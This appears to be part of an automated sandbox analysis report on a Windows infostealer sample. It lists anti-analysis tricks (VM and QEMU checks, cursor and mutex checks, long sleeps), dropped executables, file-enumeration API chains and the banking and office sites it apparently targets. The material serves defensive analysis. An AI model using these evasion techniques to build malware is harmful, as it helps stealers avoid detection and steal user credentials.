Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Sandbox detection routine: GetCursorPos, DecisionNode, Sleep

graph_2-108911

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_2-114094

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Evasive API call chain: GetPEB, DecisionNodes, Sleep

graph_2-108975

Found stalling execution ending in API Sleep call

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Stalling execution: Execution stalls by calling Sleep

graph_2-109759

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: RegAsm.exe, 0000001C.00000002.2283576275.0000000002B61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \QEMU-GA.EXE@\]Q
Source: RegAsm.exe, 0000001C.00000002.2283576275.0000000002B61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \QEMU-GA.EXE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: F80000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2A30000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 4A30000 memory reserve \| memory write watch

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: GetCursorPos,GetCursorPos,GetCursorPos,Sleep,GetCursorPos,Sleep,GetCursorPos,

2_2_0045DB00

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 2496	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 7392	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 8364
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 1406

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_2-109759

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\MSIUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\MSIUpdaterV168.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\lumma2606[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\ijOeGUQOWTvL4Jd0VuCY.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\AdobeUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\AdobeUpdaterV168.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\sqlt[1].dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes			graph_2-112748
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	API coverage: 7.1 %
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	API coverage: 7.1 %
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	API coverage: 6.7 %
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	API coverage: 7.1 %
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	API coverage: 6.7 %
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	API coverage: 6.7 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 1076	Thread sleep count: 48 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 1876	Thread sleep count: 2496 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 1876	Thread sleep time: -252096s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 1876	Thread sleep count: 7392 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 1876	Thread sleep time: -746592s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 4424	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7268	Thread sleep count: 120 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7268	Thread sleep count: 8364 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7268	Thread sleep time: -844764s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7268	Thread sleep count: 1406 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7268	Thread sleep time: -142006s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_005449B0 GetSystemTime followed by cmp: cmp eax, 04h and CTI: jc 005449F1h

2_2_005449B0

Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Code function: 0_2_00589BD3 FindFirstFileExW,	0_2_00589BD3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004C6000 CreateDirectoryA,FindFirstFileA,FindNextFileA,GetLastError,FindClose,	2_2_004C6000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004E6770 CreateDirectoryA,FindFirstFileA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,GetLastError,SetFileAttributesA,GetLastError,RemoveDirectoryA,GetLastError,GetLastError,std::_Throw_Cpp_error,std::_Throw_Cpp_error,	2_2_004E6770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00493F40 SHGetFolderPathA,FindFirstFileA,FindNextFileA,FindClose,CreateDirectoryA,CreateDirectoryA,CreateDirectoryA,CopyFileA,CreateDirectoryA,CreateDirectoryA,CopyFileA,CopyFileA,	2_2_00493F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00431F9C FindClose,FindFirstFileExW,GetLastError,	2_2_00431F9C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00432022 GetLastError,GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	2_2_00432022
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004938D0 FindFirstFileA,FindNextFileA,GetLastError,FindClose,	2_2_004938D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0044FC2F FindFirstFileExW,	2_2_0044FC2F
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Code function: 13_2_00DB9BD3 FindFirstFileExW,	13_2_00DB9BD3
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Code function: 14_2_00639BD3 FindFirstFileExW,	14_2_00639BD3
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Code function: 26_2_00BE9BD3 FindFirstFileExW,	26_2_00BE9BD3
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Code function: 33_2_00C49BD3 FindFirstFileExW,	33_2_00C49BD3
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Code function: 42_2_00449BD3 FindFirstFileExW,	42_2_00449BD3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_00409FC0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	43_2_00409FC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_00401443 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose,	43_2_00401443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_0040E016 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	43_2_0040E016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_0040C039 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	43_2_0040C039
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_004164C7 wsprintfA,FindFirstFileA,memset,memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcatA,strtok_s,strtok_s,memset,lstrcatA,strtok_s,PathMatchSpecA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,strtok_s,FindNextFileA,FindClose,	43_2_004164C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_0040BC98 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	43_2_0040BC98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_00416D7D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	43_2_00416D7D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_0040D690 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	43_2_0040D690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_0040C6B5 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	43_2_0040C6B5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_004177D3 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	43_2_004177D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_0041738D GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	43_2_0041738D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 43_2_004169EC GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,

43_2_004169EC

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

2_2_004E06D0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_s7jOcwxjI7k0XEca_b8c743ab1b26314ff4eb66311a29ecf38ef3b8d_a87f9504_c293dfb7-dcd6-476b-a2f9-a26394e0cfea\
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_BRWgvKaqbg.exe_b6c6e8b22b35c86acca60f780f38ec328115af3_0005ee48_b107b2da-c7d6-4430-a6d2-0f523ea64a9c\

Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: bgn9REcfAHdLWeb Data.2.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: bgn9REcfAHdLWeb Data.2.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: bgn9REcfAHdLWeb Data.2.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: RegAsm.exe, 0000001C.00000002.2283576275.0000000002B61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \qemu-ga.exe@\]q
Source: RegAsm.exe, 00000002.00000002.2359052796.0000000001021000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000013.00000002.4254155191.00000000011CB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000028.00000002.3775221694.000000000165A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000028.00000002.3775221694.000000000161F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4569391086.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4568930773.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: RegAsm.exe, 00000028.00000002.3775221694.000000000162E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}5
Source: bgn9REcfAHdLWeb Data.2.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: RegAsm.exe, 00000002.00000002.2359052796.0000000000FE6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: bgn9REcfAHdLWeb Data.2.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: RegAsm.exe, 00000002.00000002.2359052796.0000000000F90000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000&
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: bgn9REcfAHdLWeb Data.2.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: bgn9REcfAHdLWeb Data.2.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: bgn9REcfAHdLWeb Data.2.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: bgn9REcfAHdLWeb Data.2.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: RegAsm.exe, 0000001C.00000002.2283576275.0000000002B61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \qemu-ga.exe
Source: bgn9REcfAHdLWeb Data.2.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: RegAsm.exe, 0000002B.00000002.4568930773.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware@H6d
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: RegAsm.exe, 00000013.00000002.4254155191.00000000011B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnJ"JW
Source: RegAsm.exe, 0000002B.00000002.4568930773.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: bgn9REcfAHdLWeb Data.2.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: bgn9REcfAHdLWeb Data.2.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: bgn9REcfAHdLWeb Data.2.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: RegAsm.exe, 00000028.00000002.3774884245.00000000015B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000&
Source: bgn9REcfAHdLWeb Data.2.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: RegAsm.exe, 00000013.00000002.4254155191.0000000001194000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ?\#disk&ven_vmware&prouask#4&1656f219&0&0000f5-b6bf-11d0-94f2-00a08b
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: bgn9REcfAHdLWeb Data.2.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: RegAsm.exe, 00000013.00000002.4254155191.000000000119E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: bgn9REcfAHdLWeb Data.2.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: bgn9REcfAHdLWeb Data.2.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: bgn9REcfAHdLWeb Data.2.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: bgn9REcfAHdLWeb Data.2.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: bgn9REcfAHdLWeb Data.2.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: bgn9REcfAHdLWeb Data.2.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: bgn9REcfAHdLWeb Data.2.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: bgn9REcfAHdLWeb Data.2.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: RegAsm.exe, 00000002.00000002.2360684561.000000000577E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}+YauTr6xXfY8JeyKFTUE4kse8mFRnzfcewc+YqP1BSUviYjT+3nv3aNhJhL7Bs2W/Loo/SKw139kV2+w7l0ufRBsJGtbXhy7KcIwE79dcFzaFd/X5ig/C0jIHaMffUK9yq9R02fI2+an5agk4vtnPNzwEpvKYZ9fSaKfZrpeuPCrs+9nyd/vNgv3N1XbPBjFX35+/Fch/65O/sayL/77b8W1o70spy8vX+6ip/F/fD87+/PP/wZBkf2a42MAAA==dzN5lZYAbmDJ3x//7YMV1A9H6U68MCOI6HPlOFYLWlA1x+GO2RxmipIl8vRk9DmOmqrDZ5LnYPIdCiJJ8FZiZxH8Jrad6rG4nRYytSxSJBkzka+Yuuyy+n6iD85C5EcnldpeAF8T7Z9pNqUI0IUz1CUgTiWvDbZ71mufK9F7v9Aw8A9udEkBiUcNNkVPbbOMPgTcJVUSasf+YCR74BVuagBVZW7tyFIn9u6z8ooXXCcsZGGUvDmJJs8ShU/cSJl4qf3797cfHjL9o71IOZYokCWomaV4aLLLlAiJQdNaRhQwqH4P6LOXdSQYaKDuEmaGn1yvq/8ImT2BpaA7+ZiQaVWBxTwq4L4dKam5kW5AzQ1A01eD5+q+rh3rdjb4+wG9Y7a2aXbYUQC2Vl2BmoMxqrTLccglr+rb/ibN4qXi+X3z9XBYz04U1N12cg0xyBPjLgh26I967loAnw5emqEQuetYVIRonuwqaqzZCEPXhc7dO1Ary3iAlUESIPkGOMR0a4ZqSkXiBIfquvX31bvq2cYroswwWTaYWRviUnDE7XuFZbWbkix+uh5kedwGlqWp1LvaFJv75wEDSeZnmq5q8NcQjtl9ZOwQ+uiAjl7h+a6Hd1mh7YWFYElUVx38uakPgRh3/EqR5QXkkSvgIdjQk6ZOtcDHxvKYizwhkCzmfQE2uuxGuOzSLL3He/vdJ6QZuKk2lIxxd2TRc7oNeaqtx6b5NDFMI2KOZKPeRwaZ1CatU2kOgIy
Source: bgn9REcfAHdLWeb Data.2.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: bgn9REcfAHdLWeb Data.2.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: bgn9REcfAHdLWeb Data.2.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: bgn9REcfAHdLWeb Data.2.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Amcache.hve.6.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: bgn9REcfAHdLWeb Data.2.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: bgn9REcfAHdLWeb Data.2.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: bgn9REcfAHdLWeb Data.2.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: RegAsm.exe, 00000013.00000002.4254155191.0000000001188000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0~
Source: RegAsm.exe, 00000028.00000002.3775221694.000000000165A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: bgn9REcfAHdLWeb Data.2.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	API call chain: ExitProcess graph end node	graph_0-17010
